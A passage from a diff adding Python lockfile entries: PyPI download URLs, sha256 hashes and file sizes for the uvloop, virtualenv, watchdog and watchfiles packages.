+    { url = "https://files.pythonhosted.org/packages/b3/f6/21657bb3beb5f8c57ce8be3b83f653dd7933c2fd00545ed1b092d464799a/uvloop-0.22.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:481c990a7abe2c6f4fc3d98781cc9426ebd7f03a9aaa7eb03d3bfc68ac2a46bd", size = 3700133, upload-time = "2025-10-16T22:16:16.272Z" },
+    { url = "https://files.pythonhosted.org/packages/09/e0/604f61d004ded805f24974c87ddd8374ef675644f476f01f1df90e4cdf72/uvloop-0.22.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:a592b043a47ad17911add5fbd087c76716d7c9ccc1d64ec9249ceafd735f03c2", size = 3512681, upload-time = "2025-10-16T22:16:18.07Z" },
+    { url = "https://files.pythonhosted.org/packages/bb/ce/8491fd370b0230deb5eac69c7aae35b3be527e25a911c0acdffb922dc1cd/uvloop-0.22.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:1489cf791aa7b6e8c8be1c5a080bae3a672791fcb4e9e12249b05862a2ca9cec", size = 3615261, upload-time = "2025-10-16T22:16:19.596Z" },
+    { url = "https://files.pythonhosted.org/packages/c7/d5/69900f7883235562f1f50d8184bb7dd84a2fb61e9ec63f3782546fdbd057/uvloop-0.22.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:c60ebcd36f7b240b30788554b6f0782454826a0ed765d8430652621b5de674b9", size = 1352420, upload-time = "2025-10-16T22:16:21.187Z" },
+    { url = "https://files.pythonhosted.org/packages/a8/73/c4e271b3bce59724e291465cc936c37758886a4868787da0278b3b56b905/uvloop-0.22.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3b7f102bf3cb1995cfeaee9321105e8f5da76fdb104cdad8986f85461a1b7b77", size = 748677, upload-time = "2025-10-16T22:16:22.558Z" },
+    { url = "https://files.pythonhosted.org/packages/86/94/9fb7fad2f824d25f8ecac0d70b94d0d48107ad5ece03769a9c543444f78a/uvloop-0.22.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:53c85520781d84a4b8b230e24a5af5b0778efdb39142b424990ff1ef7c48ba21", size = 3753819, upload-time = "2025-10-16T22:16:23.903Z" },
+    { url = "https://files.pythonhosted.org/packages/74/4f/256aca690709e9b008b7108bc85fba619a2bc37c6d80743d18abad16ee09/uvloop-0.22.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:56a2d1fae65fd82197cb8c53c367310b3eabe1bbb9fb5a04d28e3e3520e4f702", size = 3804529, upload-time = "2025-10-16T22:16:25.246Z" },
+    { url = "https://files.pythonhosted.org/packages/7f/74/03c05ae4737e871923d21a76fe28b6aad57f5c03b6e6bfcfa5ad616013e4/uvloop-0.22.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:40631b049d5972c6755b06d0bfe8233b1bd9a8a6392d9d1c45c10b6f9e9b2733", size = 3621267, upload-time = "2025-10-16T22:16:26.819Z" },
+    { url = "https://files.pythonhosted.org/packages/75/be/f8e590fe61d18b4a92070905497aec4c0e64ae1761498cad09023f3f4b3e/uvloop-0.22.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:535cc37b3a04f6cd2c1ef65fa1d370c9a35b6695df735fcff5427323f2cd5473", size = 3723105, upload-time = "2025-10-16T22:16:28.252Z" },
+    { url = "https://files.pythonhosted.org/packages/3d/ff/7f72e8170be527b4977b033239a83a68d5c881cc4775fca255c677f7ac5d/uvloop-0.22.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:fe94b4564e865d968414598eea1a6de60adba0c040ba4ed05ac1300de402cd42", size = 1359936, upload-time = "2025-10-16T22:16:29.436Z" },
+    { url = "https://files.pythonhosted.org/packages/c3/c6/e5d433f88fd54d81ef4be58b2b7b0cea13c442454a1db703a1eea0db1a59/uvloop-0.22.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:51eb9bd88391483410daad430813d982010f9c9c89512321f5b60e2cddbdddd6", size = 752769, upload-time = "2025-10-16T22:16:30.493Z" },
+    { url = "https://files.pythonhosted.org/packages/24/68/a6ac446820273e71aa762fa21cdcc09861edd3536ff47c5cd3b7afb10eeb/uvloop-0.22.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:700e674a166ca5778255e0e1dc4e9d79ab2acc57b9171b79e65feba7184b3370", size = 4317413, upload-time = "2025-10-16T22:16:31.644Z" },
+    { url = "https://files.pythonhosted.org/packages/5f/6f/e62b4dfc7ad6518e7eff2516f680d02a0f6eb62c0c212e152ca708a0085e/uvloop-0.22.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7b5b1ac819a3f946d3b2ee07f09149578ae76066d70b44df3fa990add49a82e4", size = 4426307, upload-time = "2025-10-16T22:16:32.917Z" },
+    { url = "https://files.pythonhosted.org/packages/90/60/97362554ac21e20e81bcef1150cb2a7e4ffdaf8ea1e5b2e8bf7a053caa18/uvloop-0.22.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e047cc068570bac9866237739607d1313b9253c3051ad84738cbb095be0537b2", size = 4131970, upload-time = "2025-10-16T22:16:34.015Z" },
+    { url = "https://files.pythonhosted.org/packages/99/39/6b3f7d234ba3964c428a6e40006340f53ba37993f46ed6e111c6e9141d18/uvloop-0.22.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:512fec6815e2dd45161054592441ef76c830eddaad55c8aa30952e6fe1ed07c0", size = 4296343, upload-time = "2025-10-16T22:16:35.149Z" },
+    { url = "https://files.pythonhosted.org/packages/89/8c/182a2a593195bfd39842ea68ebc084e20c850806117213f5a299dfc513d9/uvloop-0.22.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:561577354eb94200d75aca23fbde86ee11be36b00e52a4eaf8f50fb0c86b7705", size = 1358611, upload-time = "2025-10-16T22:16:36.833Z" },
+    { url = "https://files.pythonhosted.org/packages/d2/14/e301ee96a6dc95224b6f1162cd3312f6d1217be3907b79173b06785f2fe7/uvloop-0.22.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:1cdf5192ab3e674ca26da2eada35b288d2fa49fdd0f357a19f0e7c4e7d5077c8", size = 751811, upload-time = "2025-10-16T22:16:38.275Z" },
+    { url = "https://files.pythonhosted.org/packages/b7/02/654426ce265ac19e2980bfd9ea6590ca96a56f10c76e63801a2df01c0486/uvloop-0.22.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6e2ea3d6190a2968f4a14a23019d3b16870dd2190cd69c8180f7c632d21de68d", size = 4288562, upload-time = "2025-10-16T22:16:39.375Z" },
+    { url = "https://files.pythonhosted.org/packages/15/c0/0be24758891ef825f2065cd5db8741aaddabe3e248ee6acc5e8a80f04005/uvloop-0.22.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0530a5fbad9c9e4ee3f2b33b148c6a64d47bbad8000ea63704fa8260f4cf728e", size = 4366890, upload-time = "2025-10-16T22:16:40.547Z" },
+    { url = "https://files.pythonhosted.org/packages/d2/53/8369e5219a5855869bcee5f4d317f6da0e2c669aecf0ef7d371e3d084449/uvloop-0.22.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bc5ef13bbc10b5335792360623cc378d52d7e62c2de64660616478c32cd0598e", size = 4119472, upload-time = "2025-10-16T22:16:41.694Z" },
+    { url = "https://files.pythonhosted.org/packages/f8/ba/d69adbe699b768f6b29a5eec7b47dd610bd17a69de51b251126a801369ea/uvloop-0.22.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:1f38ec5e3f18c8a10ded09742f7fb8de0108796eb673f30ce7762ce1b8550cad", size = 4239051, upload-time = "2025-10-16T22:16:43.224Z" },
+    { url = "https://files.pythonhosted.org/packages/90/cd/b62bdeaa429758aee8de8b00ac0dd26593a9de93d302bff3d21439e9791d/uvloop-0.22.1-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:3879b88423ec7e97cd4eba2a443aa26ed4e59b45e6b76aabf13fe2f27023a142", size = 1362067, upload-time = "2025-10-16T22:16:44.503Z" },
+    { url = "https://files.pythonhosted.org/packages/0d/f8/a132124dfda0777e489ca86732e85e69afcd1ff7686647000050ba670689/uvloop-0.22.1-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:4baa86acedf1d62115c1dc6ad1e17134476688f08c6efd8a2ab076e815665c74", size = 752423, upload-time = "2025-10-16T22:16:45.968Z" },
+    { url = "https://files.pythonhosted.org/packages/a3/94/94af78c156f88da4b3a733773ad5ba0b164393e357cc4bd0ab2e2677a7d6/uvloop-0.22.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:297c27d8003520596236bdb2335e6b3f649480bd09e00d1e3a99144b691d2a35", size = 4272437, upload-time = "2025-10-16T22:16:47.451Z" },
+    { url = "https://files.pythonhosted.org/packages/b5/35/60249e9fd07b32c665192cec7af29e06c7cd96fa1d08b84f012a56a0b38e/uvloop-0.22.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c1955d5a1dd43198244d47664a5858082a3239766a839b2102a269aaff7a4e25", size = 4292101, upload-time = "2025-10-16T22:16:49.318Z" },
+    { url = "https://files.pythonhosted.org/packages/02/62/67d382dfcb25d0a98ce73c11ed1a6fba5037a1a1d533dcbb7cab033a2636/uvloop-0.22.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:b31dc2fccbd42adc73bc4e7cdbae4fc5086cf378979e53ca5d0301838c5682c6", size = 4114158, upload-time = "2025-10-16T22:16:50.517Z" },
+    { url = "https://files.pythonhosted.org/packages/f0/7a/f1171b4a882a5d13c8b7576f348acfe6074d72eaf52cccef752f748d4a9f/uvloop-0.22.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:93f617675b2d03af4e72a5333ef89450dfaa5321303ede6e67ba9c9d26878079", size = 4177360, upload-time = "2025-10-16T22:16:52.646Z" },
+    { url = "https://files.pythonhosted.org/packages/79/7b/b01414f31546caf0919da80ad57cbfe24c56b151d12af68cee1b04922ca8/uvloop-0.22.1-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:37554f70528f60cad66945b885eb01f1bb514f132d92b6eeed1c90fd54ed6289", size = 1454790, upload-time = "2025-10-16T22:16:54.355Z" },
+    { url = "https://files.pythonhosted.org/packages/d4/31/0bb232318dd838cad3fa8fb0c68c8b40e1145b32025581975e18b11fab40/uvloop-0.22.1-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:b76324e2dc033a0b2f435f33eb88ff9913c156ef78e153fb210e03c13da746b3", size = 796783, upload-time = "2025-10-16T22:16:55.906Z" },
+    { url = "https://files.pythonhosted.org/packages/42/38/c9b09f3271a7a723a5de69f8e237ab8e7803183131bc57c890db0b6bb872/uvloop-0.22.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:badb4d8e58ee08dad957002027830d5c3b06aea446a6a3744483c2b3b745345c", size = 4647548, upload-time = "2025-10-16T22:16:57.008Z" },
+    { url = "https://files.pythonhosted.org/packages/c1/37/945b4ca0ac27e3dc4952642d4c900edd030b3da6c9634875af6e13ae80e5/uvloop-0.22.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b91328c72635f6f9e0282e4a57da7470c7350ab1c9f48546c0f2866205349d21", size = 4467065, upload-time = "2025-10-16T22:16:58.206Z" },
+    { url = "https://files.pythonhosted.org/packages/97/cc/48d232f33d60e2e2e0b42f4e73455b146b76ebe216487e862700457fbf3c/uvloop-0.22.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:daf620c2995d193449393d6c62131b3fbd40a63bf7b307a1527856ace637fe88", size = 4328384, upload-time = "2025-10-16T22:16:59.36Z" },
+    { url = "https://files.pythonhosted.org/packages/e4/16/c1fd27e9549f3c4baf1dc9c20c456cd2f822dbf8de9f463824b0c0357e06/uvloop-0.22.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6cde23eeda1a25c75b2e07d39970f3374105d5eafbaab2a4482be82f272d5a5e", size = 4296730, upload-time = "2025-10-16T22:17:00.744Z" },
+]
+
+[[package]]
+name = "virtualenv"
+version = "21.2.4"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "distlib" },
+    { name = "filelock" },
+    { name = "platformdirs" },
+    { name = "python-discovery" },
+    { name = "typing-extensions", marker = "python_full_version < '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/0c/98/3a7e644e19cb26133488caff231be390579860bbbb3da35913c49a1d0a46/virtualenv-21.2.4.tar.gz", hash = "sha256:b294ef68192638004d72524ce7ef303e9d0cf5a44c95ce2e54a7500a6381cada", size = 5850742, upload-time = "2026-04-14T22:15:31.438Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/27/8d/edd0bd910ff803c308ee9a6b7778621af0d10252219ad9f19ef4d4982a61/virtualenv-21.2.4-py3-none-any.whl", hash = "sha256:29d21e941795206138d0f22f4e45ff7050e5da6c6472299fb7103318763861ac", size = 5831232, upload-time = "2026-04-14T22:15:29.342Z" },
+]
+
+[[package]]
+name = "watchdog"
+version = "6.0.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/db/7d/7f3d619e951c88ed75c6037b246ddcf2d322812ee8ea189be89511721d54/watchdog-6.0.0.tar.gz", hash = "sha256:9ddf7c82fda3ae8e24decda1338ede66e1c99883db93711d8fb941eaa2d8c282", size = 131220, upload-time = "2024-11-01T14:07:13.037Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/0c/56/90994d789c61df619bfc5ce2ecdabd5eeff564e1eb47512bd01b5e019569/watchdog-6.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1cdb490583ebd691c012b3d6dae011000fe42edb7a82ece80965b42abd61f26", size = 96390, upload-time = "2024-11-01T14:06:24.793Z" },
+    { url = "https://files.pythonhosted.org/packages/55/46/9a67ee697342ddf3c6daa97e3a587a56d6c4052f881ed926a849fcf7371c/watchdog-6.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:bc64ab3bdb6a04d69d4023b29422170b74681784ffb9463ed4870cf2f3e66112", size = 88389, upload-time = "2024-11-01T14:06:27.112Z" },
+    { url = "https://files.pythonhosted.org/packages/44/65/91b0985747c52064d8701e1075eb96f8c40a79df889e59a399453adfb882/watchdog-6.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c897ac1b55c5a1461e16dae288d22bb2e412ba9807df8397a635d88f671d36c3", size = 89020, upload-time = "2024-11-01T14:06:29.876Z" },
+    { url = "https://files.pythonhosted.org/packages/e0/24/d9be5cd6642a6aa68352ded4b4b10fb0d7889cb7f45814fb92cecd35f101/watchdog-6.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6eb11feb5a0d452ee41f824e271ca311a09e250441c262ca2fd7ebcf2461a06c", size = 96393, upload-time = "2024-11-01T14:06:31.756Z" },
+    { url = "https://files.pythonhosted.org/packages/63/7a/6013b0d8dbc56adca7fdd4f0beed381c59f6752341b12fa0886fa7afc78b/watchdog-6.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ef810fbf7b781a5a593894e4f439773830bdecb885e6880d957d5b9382a960d2", size = 88392, upload-time = "2024-11-01T14:06:32.99Z" },
+    { url = "https://files.pythonhosted.org/packages/d1/40/b75381494851556de56281e053700e46bff5b37bf4c7267e858640af5a7f/watchdog-6.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:afd0fe1b2270917c5e23c2a65ce50c2a4abb63daafb0d419fde368e272a76b7c", size = 89019, upload-time = "2024-11-01T14:06:34.963Z" },
+    { url = "https://files.pythonhosted.org/packages/39/ea/3930d07dafc9e286ed356a679aa02d777c06e9bfd1164fa7c19c288a5483/watchdog-6.0.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:bdd4e6f14b8b18c334febb9c4425a878a2ac20efd1e0b231978e7b150f92a948", size = 96471, upload-time = "2024-11-01T14:06:37.745Z" },
+    { url = "https://files.pythonhosted.org/packages/12/87/48361531f70b1f87928b045df868a9fd4e253d9ae087fa4cf3f7113be363/watchdog-6.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c7c15dda13c4eb00d6fb6fc508b3c0ed88b9d5d374056b239c4ad1611125c860", size = 88449, upload-time = "2024-11-01T14:06:39.748Z" },
+    { url = "https://files.pythonhosted.org/packages/5b/7e/8f322f5e600812e6f9a31b75d242631068ca8f4ef0582dd3ae6e72daecc8/watchdog-6.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6f10cb2d5902447c7d0da897e2c6768bca89174d0c6e1e30abec5421af97a5b0", size = 89054, upload-time = "2024-11-01T14:06:41.009Z" },
+    { url = "https://files.pythonhosted.org/packages/68/98/b0345cabdce2041a01293ba483333582891a3bd5769b08eceb0d406056ef/watchdog-6.0.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:490ab2ef84f11129844c23fb14ecf30ef3d8a6abafd3754a6f75ca1e6654136c", size = 96480, upload-time = "2024-11-01T14:06:42.952Z" },
+    { url = "https://files.pythonhosted.org/packages/85/83/cdf13902c626b28eedef7ec4f10745c52aad8a8fe7eb04ed7b1f111ca20e/watchdog-6.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:76aae96b00ae814b181bb25b1b98076d5fc84e8a53cd8885a318b42b6d3a5134", size = 88451, upload-time = "2024-11-01T14:06:45.084Z" },
+    { url = "https://files.pythonhosted.org/packages/fe/c4/225c87bae08c8b9ec99030cd48ae9c4eca050a59bf5c2255853e18c87b50/watchdog-6.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a175f755fc2279e0b7312c0035d52e27211a5bc39719dd529625b1930917345b", size = 89057, upload-time = "2024-11-01T14:06:47.324Z" },
+    { url = "https://files.pythonhosted.org/packages/30/ad/d17b5d42e28a8b91f8ed01cb949da092827afb9995d4559fd448d0472763/watchdog-6.0.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c7ac31a19f4545dd92fc25d200694098f42c9a8e391bc00bdd362c5736dbf881", size = 87902, upload-time = "2024-11-01T14:06:53.119Z" },
+    { url = "https://files.pythonhosted.org/packages/5c/ca/c3649991d140ff6ab67bfc85ab42b165ead119c9e12211e08089d763ece5/watchdog-6.0.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:9513f27a1a582d9808cf21a07dae516f0fab1cf2d7683a742c498b93eedabb11", size = 88380, upload-time = "2024-11-01T14:06:55.19Z" },
+    { url = "https://files.pythonhosted.org/packages/a9/c7/ca4bf3e518cb57a686b2feb4f55a1892fd9a3dd13f470fca14e00f80ea36/watchdog-6.0.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:7607498efa04a3542ae3e05e64da8202e58159aa1fa4acddf7678d34a35d4f13", size = 79079, upload-time = "2024-11-01T14:06:59.472Z" },
+    { url = "https://files.pythonhosted.org/packages/5c/51/d46dc9332f9a647593c947b4b88e2381c8dfc0942d15b8edc0310fa4abb1/watchdog-6.0.0-py3-none-manylinux2014_armv7l.whl", hash = "sha256:9041567ee8953024c83343288ccc458fd0a2d811d6a0fd68c4c22609e3490379", size = 79078, upload-time = "2024-11-01T14:07:01.431Z" },
+    { url = "https://files.pythonhosted.org/packages/d4/57/04edbf5e169cd318d5f07b4766fee38e825d64b6913ca157ca32d1a42267/watchdog-6.0.0-py3-none-manylinux2014_i686.whl", hash = "sha256:82dc3e3143c7e38ec49d61af98d6558288c415eac98486a5c581726e0737c00e", size = 79076, upload-time = "2024-11-01T14:07:02.568Z" },
+    { url = "https://files.pythonhosted.org/packages/ab/cc/da8422b300e13cb187d2203f20b9253e91058aaf7db65b74142013478e66/watchdog-6.0.0-py3-none-manylinux2014_ppc64.whl", hash = "sha256:212ac9b8bf1161dc91bd09c048048a95ca3a4c4f5e5d4a7d1b1a7d5752a7f96f", size = 79077, upload-time = "2024-11-01T14:07:03.893Z" },
+    { url = "https://files.pythonhosted.org/packages/2c/3b/b8964e04ae1a025c44ba8e4291f86e97fac443bca31de8bd98d3263d2fcf/watchdog-6.0.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:e3df4cbb9a450c6d49318f6d14f4bbc80d763fa587ba46ec86f99f9e6876bb26", size = 79078, upload-time = "2024-11-01T14:07:05.189Z" },
+    { url = "https://files.pythonhosted.org/packages/62/ae/a696eb424bedff7407801c257d4b1afda455fe40821a2be430e173660e81/watchdog-6.0.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:2cce7cfc2008eb51feb6aab51251fd79b85d9894e98ba847408f662b3395ca3c", size = 79077, upload-time = "2024-11-01T14:07:06.376Z" },
+    { url = "https://files.pythonhosted.org/packages/b5/e8/dbf020b4d98251a9860752a094d09a65e1b436ad181faf929983f697048f/watchdog-6.0.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:20ffe5b202af80ab4266dcd3e91aae72bf2da48c0d33bdb15c66658e685e94e2", size = 79078, upload-time = "2024-11-01T14:07:07.547Z" },
+    { url = "https://files.pythonhosted.org/packages/07/f6/d0e5b343768e8bcb4cda79f0f2f55051bf26177ecd5651f84c07567461cf/watchdog-6.0.0-py3-none-win32.whl", hash = "sha256:07df1fdd701c5d4c8e55ef6cf55b8f0120fe1aef7ef39a1c6fc6bc2e606d517a", size = 79065, upload-time = "2024-11-01T14:07:09.525Z" },
+    { url = "https://files.pythonhosted.org/packages/db/d9/c495884c6e548fce18a8f40568ff120bc3a4b7b99813081c8ac0c936fa64/watchdog-6.0.0-py3-none-win_amd64.whl", hash = "sha256:cbafb470cf848d93b5d013e2ecb245d4aa1c8fd0504e863ccefa32445359d680", size = 79070, upload-time = "2024-11-01T14:07:10.686Z" },
+    { url = "https://files.pythonhosted.org/packages/33/e8/e40370e6d74ddba47f002a32919d91310d6074130fe4e17dabcafc15cbf1/watchdog-6.0.0-py3-none-win_ia64.whl", hash = "sha256:a1914259fa9e1454315171103c6a30961236f508b9b623eae470268bbcc6a22f", size = 79067, upload-time = "2024-11-01T14:07:11.845Z" },
+]
+
+[[package]]
+name = "watchfiles"
+version = "1.1.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "anyio", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/c2/c9/8869df9b2a2d6c59d79220a4db37679e74f807c559ffe5265e08b227a210/watchfiles-1.1.1.tar.gz", hash = "sha256:a173cb5c16c4f40ab19cecf48a534c409f7ea983ab8fed0741304a1c0a31b3f2", size = 94440, upload-time = "2025-10-14T15:06:21.08Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/a7/1a/206e8cf2dd86fddf939165a57b4df61607a1e0add2785f170a3f616b7d9f/watchfiles-1.1.1-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:eef58232d32daf2ac67f42dea51a2c80f0d03379075d44a587051e63cc2e368c", size = 407318, upload-time = "2025-10-14T15:04:18.753Z" },
+    { url = "https://files.pythonhosted.org/packages/b3/0f/abaf5262b9c496b5dad4ed3c0e799cbecb1f8ea512ecb6ddd46646a9fca3/watchfiles-1.1.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:03fa0f5237118a0c5e496185cafa92878568b652a2e9a9382a5151b1a0380a43", size = 394478, upload-time = "2025-10-14T15:04:20.297Z" },
+    { url = "https://files.pythonhosted.org/packages/b1/04/9cc0ba88697b34b755371f5ace8d3a4d9a15719c07bdc7bd13d7d8c6a341/watchfiles-1.1.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8ca65483439f9c791897f7db49202301deb6e15fe9f8fe2fed555bf986d10c31", size = 449894, upload-time = "2025-10-14T15:04:21.527Z" },
+    { url = "https://files.pythonhosted.org/packages/d2/9c/eda4615863cd8621e89aed4df680d8c3ec3da6a4cf1da113c17decd87c7f/watchfiles-1.1.1-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f0ab1c1af0cb38e3f598244c17919fb1a84d1629cc08355b0074b6d7f53138ac", size = 459065, upload-time = "2025-10-14T15:04:22.795Z" },
+    { url = "https://files.pythonhosted.org/packages/84/13/f28b3f340157d03cbc8197629bc109d1098764abe1e60874622a0be5c112/watchfiles-1.1.1-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3bc570d6c01c206c46deb6e935a260be44f186a2f05179f52f7fcd2be086a94d", size = 488377, upload-time = "2025-10-14T15:04:24.138Z" },
+    { url = "https://files.pythonhosted.org/packages/86/93/cfa597fa9389e122488f7ffdbd6db505b3b915ca7435ecd7542e855898c2/watchfiles-1.1.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e84087b432b6ac94778de547e08611266f1f8ffad28c0ee4c82e028b0fc5966d", size = 595837, upload-time = "2025-10-14T15:04:25.057Z" },
+    { url = "https://files.pythonhosted.org/packages/57/1e/68c1ed5652b48d89fc24d6af905d88ee4f82fa8bc491e2666004e307ded1/watchfiles-1.1.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:620bae625f4cb18427b1bb1a2d9426dc0dd5a5ba74c7c2cdb9de405f7b129863", size = 473456, upload-time = "2025-10-14T15:04:26.497Z" },
+    { url = "https://files.pythonhosted.org/packages/d5/dc/1a680b7458ffa3b14bb64878112aefc8f2e4f73c5af763cbf0bd43100658/watchfiles-1.1.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:544364b2b51a9b0c7000a4b4b02f90e9423d97fbbf7e06689236443ebcad81ab", size = 455614, upload-time = "2025-10-14T15:04:27.539Z" },
+    { url = "https://files.pythonhosted.org/packages/61/a5/3d782a666512e01eaa6541a72ebac1d3aae191ff4a31274a66b8dd85760c/watchfiles-1.1.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:bbe1ef33d45bc71cf21364df962af171f96ecaeca06bd9e3d0b583efb12aec82", size = 630690, upload-time = "2025-10-14T15:04:28.495Z" },
+    { url = "https://files.pythonhosted.org/packages/9b/73/bb5f38590e34687b2a9c47a244aa4dd50c56a825969c92c9c5fc7387cea1/watchfiles-1.1.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:1a0bb430adb19ef49389e1ad368450193a90038b5b752f4ac089ec6942c4dff4", size = 622459, upload-time = "2025-10-14T15:04:29.491Z" },
+    { url = "https://files.pythonhosted.org/packages/f1/ac/c9bb0ec696e07a20bd58af5399aeadaef195fb2c73d26baf55180fe4a942/watchfiles-1.1.1-cp310-cp310-win32.whl", hash = "sha256:3f6d37644155fb5beca5378feb8c1708d5783145f2a0f1c4d5a061a210254844", size = 272663, upload-time = "2025-10-14T15:04:30.435Z" },
+    { url = "https://files.pythonhosted.org/packages/11/a0/a60c5a7c2ec59fa062d9a9c61d02e3b6abd94d32aac2d8344c4bdd033326/watchfiles-1.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:a36d8efe0f290835fd0f33da35042a1bb5dc0e83cbc092dcf69bce442579e88e", size = 287453, upload-time = "2025-10-14T15:04:31.53Z" },
+    { url = "https://files.pythonhosted.org/packages/1f/f8/2c5f479fb531ce2f0564eda479faecf253d886b1ab3630a39b7bf7362d46/watchfiles-1.1.1-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:f57b396167a2565a4e8b5e56a5a1c537571733992b226f4f1197d79e94cf0ae5", size = 406529, upload-time = "2025-10-14T15:04:32.899Z" },
+    { url = "https://files.pythonhosted.org/packages/fe/cd/f515660b1f32f65df671ddf6f85bfaca621aee177712874dc30a97397977/watchfiles-1.1.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:421e29339983e1bebc281fab40d812742268ad057db4aee8c4d2bce0af43b741", size = 394384, upload-time = "2025-10-14T15:04:33.761Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/c3/28b7dc99733eab43fca2d10f55c86e03bd6ab11ca31b802abac26b23d161/watchfiles-1.1.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6e43d39a741e972bab5d8100b5cdacf69db64e34eb19b6e9af162bccf63c5cc6", size = 448789, upload-time = "2025-10-14T15:04:34.679Z" },
+    { url = "https://files.pythonhosted.org/packages/4a/24/33e71113b320030011c8e4316ccca04194bf0cbbaeee207f00cbc7d6b9f5/watchfiles-1.1.1-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f537afb3276d12814082a2e9b242bdcf416c2e8fd9f799a737990a1dbe906e5b", size = 460521, upload-time = "2025-10-14T15:04:35.963Z" },
+    { url = "https://files.pythonhosted.org/packages/f4/c3/3c9a55f255aa57b91579ae9e98c88704955fa9dac3e5614fb378291155df/watchfiles-1.1.1-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b2cd9e04277e756a2e2d2543d65d1e2166d6fd4c9b183f8808634fda23f17b14", size = 488722, upload-time = "2025-10-14T15:04:37.091Z" },
